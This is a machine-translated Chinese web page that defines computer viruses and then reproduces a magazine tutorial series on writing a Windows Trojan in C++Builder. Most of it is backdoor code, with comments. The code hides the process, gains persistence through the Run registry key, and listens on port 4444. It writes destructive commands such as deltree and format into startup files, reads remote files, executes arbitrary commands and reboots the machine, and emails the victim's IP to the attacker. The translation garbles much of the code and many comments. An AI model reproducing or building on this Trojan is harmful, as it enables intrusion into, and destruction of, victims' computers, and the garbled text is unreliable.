什么是黑客?什么是计算机病毒?它是如何制作的?
计算机病毒是一种程序,一种可执行代码。就像生物病毒一样,计算机病毒具有独特的复制能力。计算机病毒能迅速传播。
拖延,而且往往难以根除。它们可以将自己附加到各种类型的文件中。将文件从一个用户复制或传输到另一个用户时,会使用复制文件。
用文件展开。
除了复制能力,一些计算机病毒还有其他共同的特征:被污染的程序可以传播病毒载体。当你看到病毒载体时,似乎
它们可能已经破坏了文件,重新格式化了你的硬盘,或者导致了其他种类的灾难,当它们仅仅以文字和图像显示的时候。如果病毒没有
寄生在一个被污染的程序上,它仍然可以通过占用存储空间给你带来麻烦,降低你电脑的整体性能。
计算机病毒的定义可以从不同的角度给出。一种定义是通过磁盘、磁带、网络等媒介传播扩散,可以“感染”其他程序
这个项目。另一种是潜伏性、传染性、破坏性的程序,可以自我复制,借助某种载体而存在。另一个定义是一种人为的。
一种制造出来的程序,它潜伏或寄生在存储介质(如磁盘、内存)中或通过不同渠道传播的程序。当某个条件或时机成熟时,它会自我繁殖。
和传播,使计算机资源被不同的程序破坏等等。这些说法在某种意义上借用了生物病毒的概念,计算机病毒和生物病毒是一样的。
相似点是可以入侵计算机系统和网络,危害正常工作的“病原体”。它能对计算机系统造成各种破坏,同时还能自我恢复。
系统,会传染。
因此,计算机病毒是一种能够以某种方式潜伏在计算机存储介质(或程序)中,并在满足一定条件时被激活的计算机病毒。
破坏计算机资源的一组程序或指令。
参考:/pages/winfile/FaQ/bingdu.html
特洛伊是怎样写的(1)
武汉周刊
每个人都熟悉特洛伊马这个术语。自1998年“死牛崇拜”黑客组织公布Back Orifice以来,特洛伊马如平地惊雷,让生长在DosWindows时代的中国网民从网络的缤纷梦境中清醒过来,终于意识到网络也有其邪恶的一面,一时间让人恐慌不已。
当时在《计算机新闻》上看到一篇文章,大意是一个菜鸟被博控制了,吓得整天吃不下饭,睡不着觉,不能上网,到处求助!呵呵,要知道,特洛伊历史悠久:早在&;T Unix和BSD Unix非常流行。特洛伊马是一些玩程序(主要是C)水平很高的年轻人(主要是美国人)用C或Shell语言编写的,基本上是用来盗取登录主机的密码,以获取更高的权限。当时,特洛伊马的主要方法是欺骗你修改你的。档案文件和植入特洛伊马。登录时,将输入的密码字符保存到一个文件中,并以电子邮件的形式发送到攻击者的邮箱中。中国的年轻人大多是在盗版Dos的影响下长大的,所以对互联网比较陌生。直到Win9x的诞生,尤其是WinNt的普及,极大的推动了网络行业的发展,以三年后的视角看起来有些简单甚至粗糙的BO(甚至在Win9x的“关闭程序”对话框中可以看到过程),给了当时的国人极大的震撼,可以说是中国网络安全划时代的软件。
写你自己的特洛伊马听起来很酷,不是吗?!特洛伊马必须由两部分组成:服务器和客户端。服务器负责打开攻击路径,就像间谍一样。客户端负责攻击目标,他们需要一定的网络协议进行通信(一般是TCP/IP协议)。为了让大家更好的了解特洛伊马攻击技术,摆脱特洛伊马的神秘感,我简单说一下写特洛伊马的技术,顺便写一个特洛伊马的例子,让大家更好的防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前比较流行的开发工具有C++Builder、VC、VB、Delphi,这里我们选择C++Builder(以下简称BCB);虽然VC不错,但是GUI设计太复杂,为了更好的突出我的例子,集中讲解特洛伊马的基本原理,我们选择了可视化BCB;;Delphi也不错,但缺陷是不能继承现有资源(比如“死牛崇拜”黑客团体公布的BO2000源代码是VC写的,网上随处可见);VB,别提了。你给受害者发了1兆动态链接库Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个项目,添加三个VCL控件:一个是Internet页面中的Server Socket,另外两个是Fastnet页面中的NMFTP和NMSMTP。服务器套接字的作用就是让这个程序成为一个服务器程序,可以对外服务(给攻击者打开大门)。Socket最早出现在Unix上,后来微软将其引入Windows(包括Win98和WINNT)。后两个控件用于使程序具有FTP(文件传输协议)和SMTP(简单邮件传输协议)功能。众所周知,它们是让软件具备上传下载功能和发送邮件的控件。
形态形态可见,当然不可思议。不仅占用空间很大(光一个表单就有300K那么大),还会让软件可见,根本没什么效果。所以实际写特洛伊马的时候,可以用一些技巧让程序不包含表单,就像Delphi用进程实现的小程序一般只有17K左右。
我们应该首先使我们的程序隐形。双击该表单。首先,在FormCreate事件中添加可以隐藏Win9x的关闭程序对话框中的特洛伊的代码。这看起来很神秘,但实际上,它只是一个名为Service的后台进程,可以以更高的优先级运行,可以说是非常接近系统核心的设备驱动之一。所以我们只需要用RegisterServiceProcess()函数在进程数据库中注册我们的程序为服务进程即可。但是,这个函数的声明不在Borland预先打包的头文件中,所以我们必须自己在KERNEL32.DLL中声明这个bird函数。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dw version = GetVersion();
//获取操作系统的版本号
if(dw version & gt;= 0x80000000)
//操作系统是Win9x,不是WinNt。
{
typedef DWORD(CALLBACK * LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
File://定义了RegisterServiceProcess()函数的原型。
HINSTANCE hDLL
LPREGISTERSERVICEPROCESS LPREGISTERSERVICEPROCESS;
hDLL = LoadLibrary(" kernel 32 ");
File://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL。
lpRegisterServiceProcess =(lpRegisterServiceProcess)GetProcAddress(hDLL," RegisterServiceProcess ");
File://获取RegisterServiceProcess()函数的地址。
lpRegisterServiceProcess(GetCurrentProcessId(),1);
File://执行RegisterServiceProcess()函数隐藏该进程。
免费图书馆(hDLL);
File://卸载动态链接库
}
}
所以我终于可以隐身了(我敲了这么多代码!)。为什么要评判操作系统?因为WinNt中的进程管理器对当前进程一目了然,所以在WinNt下不一定要用上面的代码(但是可以用其他方法,这个后面会讲到)。然后将自己复制到%System%目录,例如C:\Windows\System,并修改注册表,使其在启动时自动加载:
{
char TempPath[MAX _ PATH];
File://定义一个变量。
GetSystemDirectory(TempPath,MAX _ PATH);
File://TempPath是系统目录缓冲区的地址,MAX_PATH是缓冲区的大小,从而得到目标机器的系统目录路径。
system path = ansi string(TempPath);
File://格式化TempPath字符串,使其成为编译器可以使用的样式。
CopyFile(ParamStr(0))。c_str(),ansi string(system path+" \ \ tapi 32 . exe ")。c_str(),FALSE);
File://把你自己复制到%System%目录,重命名为Tapi32.exe,伪装自己。
Registry = new TRegistry
File://定义一个TRegistry对象并准备修改注册表。这一步至关重要。
注册表-& gt;RootKey = HKEY _ LOCAL _ MACHINE
File://将主键设置为HKEY_LOCAL_MACHINE。
注册表-& gt;OpenKey("软件\ \微软\ \ Windows \ \当前版本\ \运行",TRUE);
File://打开键值software \ \ Microsoft \ \ Windows \ \ Current version \ \ Run,如果不存在就创建它。
尝试
{
File://如果下面的语句异常,跳到catch以避免程序崩溃。
if(注册表-& gt;ReadString("crossbow ")!=SystemPath+"\\Tapi32.exe ")
注册表-& gt;WriteString("crossbow ",system path+" \ \ tapi 32 . exe ");
File://查找是否有带“crossbow”字样的键值,是否是复制的目录% %System%+Tapi32.exe
File://如果没有,写上面的键值和内容。
}
接住(...)
{
File://如果有错误,什么都不做。
}
}
好了,FormCreate进程完成,这样Tapi32.exe每次启动都能自动加载,在“关闭程序”对话框看不到进程,出现了特洛伊马的雏形。
然后选中ServerSocket控件,在左边的对象检查器中把Active改为true,这样程序启动时就会打开一个特定的端口,处于服务器的工作状态。然后填写端口4444,这是特洛伊马的端口号。当然也可以用别的。但是你要注意不要使用1024以下的低端端口,因为它不仅可能和基础网络协议使用的端口冲突,而且很容易被发现,所以尽量使用1024以上的高端端口(但是也有一种技术是故意使用特定的端口,因为如果引起冲突的话Windows不会报错_)。可以看一下TNMFTP控制使用的端口,是端口21,是FTP协议的专用控制端口。同样,TNMSMTP的端口25也是SMTP协议的专用端口。
再次选择ServerSocket控件,单击“事件”页面,双击OnClientRead事件,然后键入以下代码:
{
FILE * fp = NULL
char *内容;
int times _ of _ try
char TempFile[MAX _ PATH];
File://定义了一堆以后要用到的变量。
sprintf(TempFile," %s ",ansi string(system path+ansi string(" \ \ win 369。BAT”))。c _ str());
File://在%System%下创建一个文本文件Win369.bat,用作临时文件。
ansi ssing temp = Socket-& gt;receive text();
File://接收客户端(攻击者,也就是你自己)的数据。
}
好了,门开了!然后就是修改目标机的各种配置!_首先,我们来修改Autoexec.bat和Config.sys:
{
如果(温度。SubString(0,9)=="edit conf ")
File://如果收到的字符串的前9个字符是“edit conf”
{
int number=temp长度();
File://获取字符串的长度。
int file_name=atoi((temp。子串(11,1))。c _ str());
File://将11字符转换为整数类型,并存储在file_name变量中。
File://为什么要取11字符?因为10字符是空格字符。
内容=(温度。SubString(12,数字-11)+'\n ')。c _ str();
File://剩余的字符串将作为写入内容写入目标文件。
FILE * fp = NULL
字符文件名[20];
chmod("c:\\autoexec.bat ",S _ IREADS _ IWRITE);
chmod("c:\\config.sys ",S _ IREADS _ IWRITE);
File://将两个目标文件的属性更改为可读和可写。
if(文件名==1)
sprintf(文件名," %s "," c:\ \ autoexec . bat ");
File://如果11字符是1,请将Autoexec.bat格式化
else if(文件名==2)
sprintf(文件名," %s "," c:\ \ config . sys ");
File://如果11字符是1,则格式化Config.sys
times _ of _ try = 0;
文件://定义计数器
while(fp==NULL)
{
File://如果指针为空
fp=fopen(文件名,“a+”);
File://如果文件不存在,请创建它。如果存在,准备在它后面添加。
File://如果有错误,文件指针为空,所以会重复。
times _ of _ try = times _ of _ try+1;
文件://计数器加1
if(尝试次数& gt100)
{
File://如果你尝试了100次,还是不成功。
套接字-& gt;SendText("打开文件失败");
File://返回“打开文件失败”的错误消息。
转到结尾;
File://跳转到结尾。
}
}
fwrite(content,sizeof(char),strlen(content),FP);
File://写入添加的语句,如deltree/y C:或format/q/autotest C:。够毒吗?!
fclose(FP);
File://写入后关闭目标文件。
套接字-& gt;send text(" success ");
File://然后发回“成功”的成功信息
}
}
上次我们讲了如何在目标机器上修改启动配置文件,这次我们来看一下目标机器上的目录树和文件,在客户端使用“dir”命令,后面敲?:
{
否则如果(温度。SubString(0,3)=="dir ")
{
File://如果前3个字符是“dir”
int Read_Num
char * CR _ LF = " \ n
int属性;
char *文件名;
DIR * dir
结构方向;
int number=temp长度();
File://获取字符串的长度。
AnsiString Dir _ Name = temp。子串(5,数字-3);
File://从字符串的第六个字符开始,将以下字符存储在Dir_Name变量中,该变量是目录名。
if(目录名== " ")
{
File://如果目录名为空
套接字-& gt;SendText("因打开目录的名称而失败");
File://返回消息“由于打开目录的名称而失败”。
转到结尾;
File://跳到结尾
}
char * dirname
dirname = Dir _ name . c _ str();
if((dir = opendir(dirname))= = NULL)
{
File://如果打开目录时出错,
套接字-& gt;SendText("按你的目录名失败!");
File://返回消息“因您的目录名而失败”。
转到结尾;
File://跳到结尾
}
times _ of _ try = 0;
while(fp==NULL)
{
File://如果指针为空
fp=fopen(TempFile," w+");
File://创建system\Win369.bat时准备读写;如果该文件已经存在,它将被覆盖。
times _ of _ try = times _ of _ try+1;
文件://计数器加1
if(尝试次数& gt100)
{
File://如果你尝试了100次,还是没有成功(多么有耐心!)
套接字-& gt;SendText("打开文件失败");
File://返回“打开文件失败”的错误消息。
转到结尾;
File://并跳到结尾。
}
}
while ((ent = readdir(dir))!=空)
{
File://如果成功访问了目标目录,
if(*(AnsiString(dirname))。AnsiLastChar()!='\\')
File://如果最后一个字符不是“\”,则不是根目录。
filename =(ansi string(dirname)+" \ \ "+ent-& gt;d_name)。c _ str();
File://在添加了\ "字符后,将指针指向目录流。
其他
filename =(ansi string(dirname)+ent-& gt;d_name)。c _ str();
File://如果是根目录,就不需要加\ "。
attrib=_rtl_chmod(文件名,0);
File://获取目标文件的访问属性。
如果(属性& amp仅发_ r)
文件:///& amp;字符是比较前后的两个变量。如果相同,则返回1,否则返回0。
fwrite(" R ",sizeof(char),3,FP);
File://将目标文件属性设置为只读。
其他
fwrite(",sizeof(char),3,FP);
File://如果失败就写一个空格。
如果(属性& ampFA_HIDDEN)
fwrite("H ",sizeof(char),1,FP);
File://将目标文件属性设置为hidden。
其他
fwrite(",sizeof(char),1,FP);
File://如果失败就写一个空格。
如果(属性& ampFA _系统)
fwrite("S ",sizeof(char),1,FP);
File://将目标文件属性设置为system。
其他
fwrite(",sizeof(char),1,FP);
File://如果失败就写一个空格。
如果(属性& ampFA_ARCH)
fwrite("A ",sizeof(char),1,FP);
File://将目标文件属性设置为normal。
其他
fwrite(",sizeof(char),1,FP);
File://如果失败就写一个空格。
如果(属性& ampFA_DIREC)
fwrite(" & lt;目录>,sizeof(char),9,FP);
File://将目标文件属性设置为directory。
其他
fwrite(",sizeof(char),9,FP);
File://如果失败就写一个空格。
fwrite(ent->;d_name,sizeof(char),strlen(ent-& gt;d_name)、FP);
File://将目录名写入目标文件。
fwrite(CR_LF,1,1,FP);
File://写一个新行
}
fclose(FP);
文件://关闭文件
closedir(dir);
文件://关闭目录
FILE * FP 1 = NULL;
times _ of _ try = 0;
while(fp1==NULL)
{
fp1=fopen(TempFile," r ");
File://打开Win369.bat进行读取。
times _ of _ try = times _ of _ try+1;
文件://计数器加1
if(尝试次数& gt100)
{
File://如果你尝试了100次,还是不成功。
套接字-& gt;SendText("打开文件失败");
File://返回“打开文件失败”的错误消息。
转到结尾;
File://并跳到结尾。
}
}
AnsiString Return _ Text =
char temp _ content[300];
for(int I = 0;我& lt300;i++)temp _ content[I]= ' \ 0 ';
由file://定义的空数组
Read_Num=fread(temp_content,1,300,FP 1);
File://从目标文件中读取前300个字符。
while(读取数量==300)
{
Return _ Text = Return _ Text+temp _ content;
File://Return_Text变量加上刚才的300个字符。
for(int I = 0;我& lt300;i++)temp _ content[I]= ' \ 0 ';
Read_Num=fread(temp_content,1,300,FP 1);
文件://重复
};
Return _ Text = Return _ Text+temp _ content;
File://Return_Text变量加上刚才的300个字符。
fclose(FP 1);
File://关闭目标文件
套接字-& gt;send Text(Return _ Text);
File://返回Return_Text变量的内容。
}
}
够长吗?!看目录树有这么难吗?!你可以用BCB的各种列表框来美化Client.exe。下一步是查看指定文件的内容,客户端将使用“type”命令。(手指累吗?):
{
否则如果(温度。SubString(0,4)=="type ")
{
File://如果前四个字符是“type”
int Read_Num
int number=temp长度();
正在注册文件名=temp。子串(6,数字-4);
File://将目标文件流存储在File_Name变量中。
times _ of _ try = 0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),“r”);
File://打开目标文件进行读取。
times _ of _ try = times _ of _ try+1;
文件://计数器加1
if(尝试次数& gt100)
{
File://如果你尝试了100次。
套接字-& gt;SendText("打开文件失败");
File://返回“打开文件失败”的错误消息
转到结尾;
File://跳到结尾
}
}
AnsiString Return _ Text =
char temp _ content[300];
for(int I = 0;我& lt300;i++)temp _ content[I]= ' \ 0 ';
File://定义了一个空数组。
Read_Num=fread(temp_content,1,300,FP);
File://从目标文件中读取前300个字符。
while(读取数量==300)
{
Return _ Text = Return _ Text+temp _ content;
file://Return_Text的内容加上刚才的字符。
for(int I = 0;我& lt300;i++)temp _ content[I]= ' \ 0 ';
Read_Num=fread(temp_content,1,300,FP);
文件://重复
};
Return _ Text = Return _ Text+temp _ content;
file://Return_Text的内容加上刚才的字符。
fclose(FP);
File://关闭目标文件
套接字-& gt;send Text(Return _ Text);
File://返回Return_Text的内容,也就是你正在查看的文件的内容。
}
}
咳咳!我累死了!我们来简单操作一下目标机器的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open ")
{
File://如果接收到的temp的内容是“打开”
mciSendString(" set CD audio door open ",NULL,0,NULL);
File://弹出光驱的托盘。
}
else if(temp=="close ")
{
File://如果接收到的temp的内容是“关闭”
mciSendString(" Set CD audio door closed wait ",NULL,0,NULL);
File://放在光驱的托盘里就可以了。当然你也可以无限循环,让他的光驱好好活动一下!^_^
}
}
然后就是目标机的鼠标左右键的互换。代码如下:
{
else if(temp=="swap ")
{
SwapMouseButton(1);
File://交换鼠标左右键,简单吗?
}
}
然后就是重启目标机。但是这里区分WinNt和Win9xNT很注意系统中每个进程的权限,一个普通的进程不应该有调用系统的权限,所以我们应该给这个程序足够的权限:
{
else if(temp=="reboot ")
{
File://如果接收到的temp的内容是“temp”
DWORD dw version = GetVersion();
File://获取操作系统的版本号。
if(dw version & lt;0x80000000)
{
File://操作系统是WinNt,不是Win9x。
处理hToken
TOKEN _ PRIVILEGES tkp
文件://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN _ ADJUST _ PRIVILEGES TOKEN _ QUERY,& amphto ken);
函数的作用是:打开一个进程的访问令牌。
file://GetCurrentProcess()函数用于获取该进程的句柄。
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,& amptkp。权限[0]。luid);
file://LookupPrivilegeValue()的作用是修改流程的权限。
tkp。PrivilegeCount = 1;
File://特权被授予该进程。
tkp。权限[0]。属性= SE _ PRIVILEGE _ ENABLED
AdjustTokenPrivileges(hToken,FALSE,& amptkp,0,(PTOKEN_PRIVILEGES)NULL,0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改该进程的权限。
ExitWindowsEx(EWX _ REBOOT EWX _ FORCE,0);
File://强制退出WinNt并重新启动。
}
else ExitWindowsEx(EWX _ FORCE+EWX _ REBOOT,0);
File://强制退出Win9x并重新启动。
}
}
如果以上都不正确,让它在Dos窗口中执行传入的命令:
{
其他
{
File://如果都不是。
char * CR _ TF = " \ n
times _ of _ try = 0;
while(fp==NULL)
{
fp=fopen(TempFile," w+");
File://创建Win369.bat,如果已经存在就覆盖它。
times _ of _ try = times _ of _ try+1;
文件://计数器加1
if(尝试次数& gt100)
{
套接字-& gt;SendText("打开文件失败");
File://返回“打开文件失败”的信息
转到结尾;
File://跳到结尾
}
}
fwrite(temp.c_str()、sizeof(char)、strlen(temp.c_str())、FP);
File://编写要执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),FP);
File://写一个换行符
fclose(FP);
File:// close Win369.bat
系统(TempFile);
File:// execute Win369.bat
套接字-& gt;SendText("成功");
File://返回“成功”信息。
}
}
可以直接执行Ping、Tracert等命令进一步窥探目标机器的网络状态(判断是否是企业局域网),然后可以进一步攻击,比如Deltree、Format命令。^_^
至此,服务器程序的所有功能已经完成,但容错部分还不完整,以免程序因意外而崩溃。朋友,不要走开!(未完待续)
特洛伊是怎么写的(3)
武汉周刊
上次我们已经把服务器端的各种功能都写好了,但是容错部分还没有完成。我们继续吧!它的代码如下(可以正确输入_):
{
结束:;
套接字-& gt;close();
File://关闭服务。
server socket 1-& gt;Active = true
File://再次打开该服务。
if(NMS MTP 1->;已连接)NMS MTP 1->;disconnect();
File:// Disconnect如果SMTP服务器已连接。
NMS MTP 1->;host = " SMTP . 163 . net ";
File://选择好的SMTP服务器,比如163,263,新浪,btamail。
NMS MTP 1->;UserID =
File://您的SMTP ID。
尝试
{
NMS MTP 1->;connect();
File://再次连接。
}
接住(...)
{
转到下一次;
File://跳到下一次。
}
NMS MTP 1->;post message-& gt;FromAddress = "我不知道!";
File://受害者的邮箱。
NMS MTP 1->;post message-& gt;FromName = " Casualty
File://受害者的名字。
NMS MTP 1->;post message-& gt;to address-& gt;Text = " crossbow @ 8848.net
File://把信发到我邮箱。这一步至关重要。
NMS MTP 1->;post message-& gt;body->;Text = AnsiString("服务器运行于:")+NMS MTP 1-& gt;LocalIP
File://信的内容提示你“服务器正在运行”,并告诉你受害者当前的IP地址进行连接。
NMS MTP 1->;post message-& gt;Subject = "服务器运行